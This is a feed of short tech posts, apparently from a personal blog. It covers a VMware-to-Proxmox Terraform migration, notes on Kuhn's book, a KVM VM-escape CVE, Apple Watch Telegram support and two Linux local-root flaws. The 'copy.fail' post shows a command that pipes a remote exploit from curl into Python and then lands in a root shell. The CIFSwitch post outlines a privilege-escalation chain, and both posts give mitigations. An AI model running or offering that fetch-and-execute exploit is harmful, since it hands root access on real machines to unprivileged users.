Simple Engineer Notes

🏗 Terraform Meets Proxmox: Lessons from a VMware Migration

I’ve learned some lessons from VMware->Proxmox migration & wrote the article.

1️⃣ The interesting part was not the hypervisor itself, but making the existing IaC workflow work with it
2️⃣ Hypervisor migration also means IaC migration
3️⃣ Packer + Terraform + Ansible can be reused almost without changes
4️⃣ There are many pitfalls in terraform for proxmox
5️⃣ Failed Terraform runs can leave LVM leftovers and stale state
6️⃣ Stateless VMs make migration much easier
7️⃣ Keep the same interface for VMware and Proxmox makes migration easier
8️⃣ Storage is the most painful topic

🤔 moving VMs is easy. Rebuilding the whole automation workflow around a new hypervisor is the real work.

🔗
☁️VMware Migration Options
✈️Terraform for VMware: Key Takeaways and Lessons from Managing Hundreds of VMs

#terraform #proxmox #iac #vmware #article

📚 The Structure of Scientific Revolutions

I’ve just finished The Structure of Scientific Revolutions by Thomas Kuhn and noted:

1️⃣ Science doesn’t always move forward step by step. It might be chaotic. Sometimes progress happens in how we see the problem. Frequently news ideas come from nubies in the area

2️⃣ Paradigms matter. Scientists usually work inside an accepted model of how the world works.

3️⃣ Normal science is mostly solving puzzles. Scientists usually don’t question the whole system. They solve problems inside the existing paradigm in the very specific area.

4️⃣ Anomalies are inevitable and crucial. Experiments produce results that theories can’t explain and it’s totally ok.

5️⃣ One anomaly usually changes nothing. Scientists normally try to explain it, ignore it, or improve the existing theory.

6️⃣ Too many anomalies create a crisis. When the existing paradigm fails people start looking for something fundamentally different.

7️⃣ Revolutions change the rules. A new paradigm doesn’t just give a better answer. It can change what questions are considered important and how they should be answered.

8️⃣ Old and new paradigms can be hard to compare. They may use different concepts, assumptions and definitions.

9️⃣ New ideas are not accepted instantly. Evidence matters, but science is also a human process. Communities, education, reputation are important

🔟 After the revolution, the new paradigm becomes normal. The cycle starts again: normal science -> anomalies -> crisis -> revolution -> new normal science.

🤔The interesting part: when something doesn’t fit the model, maybe the problem isn’t the data. Maybe the model is wrong.

#book

💥 16-year-old KVM bug = VM Escape

A new guest-to-host escape vulnerability in Linux KVM https://thehackernews.com/2026/07/16-year-old-linux-kvm-flaw-lets-guest.html & https://nvd.nist.gov/vuln/detail/CVE-2026-53359

I would say it's like Spectre or Meltdown but for virtualization:
1️⃣ A malicious VM can compromise the host kernel
2️⃣ It affects Intel & AMD x86. the bug is in KVM's shadow MMU mechanism
3️⃣ The attack requires:
- root inside the guest VM
- nested virtualization enabled
4️⃣ Public PoC crashes the host. The researcher claims a private exploit achieves full guest -> host RCE.
5️⃣ The fix is one extra condition before reusing a shadow page.

#security #linux

⌚️apple watch + telegram = ?

It requires

- watchOS >= 26.0
- Telegram app >= 12.8

it's slightly buggy as the most moder software. at least I found(post updated):
1. you can send voice messages, but they are empty without sounds
2. custom stickers are not supported

#ios

💩 CIFSwitch: a non-universal Linux local root vulnerability


new LPE like root issue just dropped.
CIFSwitch is actually a pretty beautiful chain:
1️⃣ unprivileged user can make cifs.spnego requests
2️⃣ kernel happily accepts them
3️⃣ /usr/sbin/cifs.upcall gets launched as root
4️⃣ attacker controls pid + namespace switching
5️⃣ root process loads attacker-controlled NSS module
6️⃣ gg -> root

the funniest part is that:
- no memory corruption
- no buffer overflow

mostly trust / logic issues between kernel <-> userspace.

affected since ~2007.
many distros exploitable out of the box depending on SELinux/AppArmor policies.

mitigations:
- patch kernel
- remove cifs-utils if unused
- disable unprivileged namespaces
- block cifs module loading

🤔also interesting: author mentions using LLM-assisted graph reasoning to find multi-step vuln chains instead of simple grep/fuzzing.
this part is probably more important long-term than the vuln itself.

https://heyitsas.im/posts/cifswitch/

#security #linux

💩copy.fail

new extremely bad thing is coming https://copy.fail

I've created the testusr without root/sudo permission and was able to get root

[testusr@prd-ns123snA-03 xxx-automation]$ curl https://copy.fail/exp | python3.12 && su
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   731    0   731    0     0   4568      0 --:--:-- --:--:-- --:--:--  4568

[root@prd-ns123snA-03 xxx-automation]# id
uid=0(root) gid=1003(testusr) groups=1003(testusr) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

all kernels since 2017 are affected. it looks like there is workaround if the kernel is not available

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 

have fun

#security #fail

Some random #fun

Make fools day great again

DHCP irl

#fun